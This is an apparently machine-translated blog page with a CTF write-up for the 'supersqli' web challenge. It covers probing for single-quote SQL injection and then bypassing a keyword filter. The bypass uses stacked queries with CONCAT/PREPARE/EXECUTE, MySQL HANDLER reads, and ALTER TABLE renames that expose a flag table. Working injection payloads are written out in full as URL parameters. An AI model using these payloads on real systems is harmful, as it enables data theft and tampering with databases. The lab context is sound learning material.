当前位置:网站首页>Attack and defense world (WEB) -- supersqli
Attack and defense world (WEB) -- supersqli
2022-06-12 18:55:00 【Xiao Xiaoran】
List of articles
Attack and defend the world (web piece )—supersqli
After getting the title , It is found that it is a single quotation mark error character injection

order by 2 The page will echo normally ,order by 3 Page error during

Next union Inquire about , It is found that many statements are filtered

Bypass the filter , There are several ways
Stack query + precompile
Look up the table

Check field

Use precompiled method to check , But filtered

strstr Case sensitive
?inject=1';set @sql = CONCAT('sele','ct * from `1919810931114514`;');Prepare xiao from @sql;EXECUTE xiao;

handler Inquire about
handler grammar


Inquire about payload
?inject=1';handler `1919810931114514` open;handler `1919810931114514` read first; --+

Stack query + Change the name of the watch
Principle analysis
At the beginning, it is to query word Table data , So we can use the database to modify the table name and column name
First put the original words Change the name of the watch to something else , then 1919810931114514 Change the name of the table to words
Then change the name of the table after the flag Change the field to id (id Also need to show columns from word obtain )
And then we use 1’ or 1=1 --+ You can get it directly flag
modify payload
?inject=1';alter table words rename to aaaa;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);











边栏推荐
- io. seata. common. exception. FrameworkException: can not connect to services-server.
- How to download Vega in China
- 232-ch579m learning and development Ethernet routine TCP server (project application package, LAN or WAN test)
- The Bean Validation API is on the classpath but no implementation could be found
- Hugo 博客搭建教程
- 机器学习在美团配送系统的实践:用技术还原真实世界-笔记
- chrome浏览器解决跨域问题
- leetcode:6094. Company name [group enumeration + cannot repeat set intersection + product Cartesian product (repeat indicates length)]
- Liunx deploy Seata (Nacos version)
- What is a network proxy
猜你喜欢

MySQL - > > symbol usage JSON related

In 2021, the global spice and seasoning revenue is about 18720million US dollars, and it is expected to reach 25960million US dollars in 2028

Liunx deploy Seata (Nacos version)

国内如何下载ProxyStrike

基于FPGA的VGA协议实现

Go init initialization function

no available service ‘null‘ found, please make sure registry config correct

超级重磅!Apache Hudi多模索引对查询优化高达30倍
![[0008] unordered list](/img/16/7525d963e68757558dd55ff4d1a23a.png)
[0008] unordered list

The difference between user status and system status in CRM
随机推荐
Experiment 10 Bezier curve generation - experiment improvement - control point generation of B-spline curve
A journey of database full SQL analysis and audit system performance optimization
The Bean Validation API is on the classpath but no implementation could be found
Hugo 博客搭建教程
CVPR 2022 oral Dalian Institute of technology proposed SCI: a fast and powerful low light image enhancement method
dumi 搭建文档型博客
笔记本电脑清灰打硅脂后,开机一直黑屏,如何破?
leetcode:5270. Minimum path cost in Grid [simple level DP]
吃饭咯 干锅肥肠 + 掌中宝!
SCI Writing - Results
Standard library template learning introduction original
[blockbuster release] ant dynamic card, enabling the app home page to realize agile update
Daily blog - micro service permission 12 matters
SCI Writing - Methodology
Vue - Advanced Vue router routing (2) (replace attribute, programming route navigation, caching route components, and exclusive hooks for routes)
嵌入式开发:固件工程师的6项必备技能
Double non grind one, three side byte, cool. Next time
232-CH579M学习开发-以太网例程-TCP服务器(项目应用封装,局域网或广域网测试)
I was badly hurt by the eight part essay...
Go init initialization function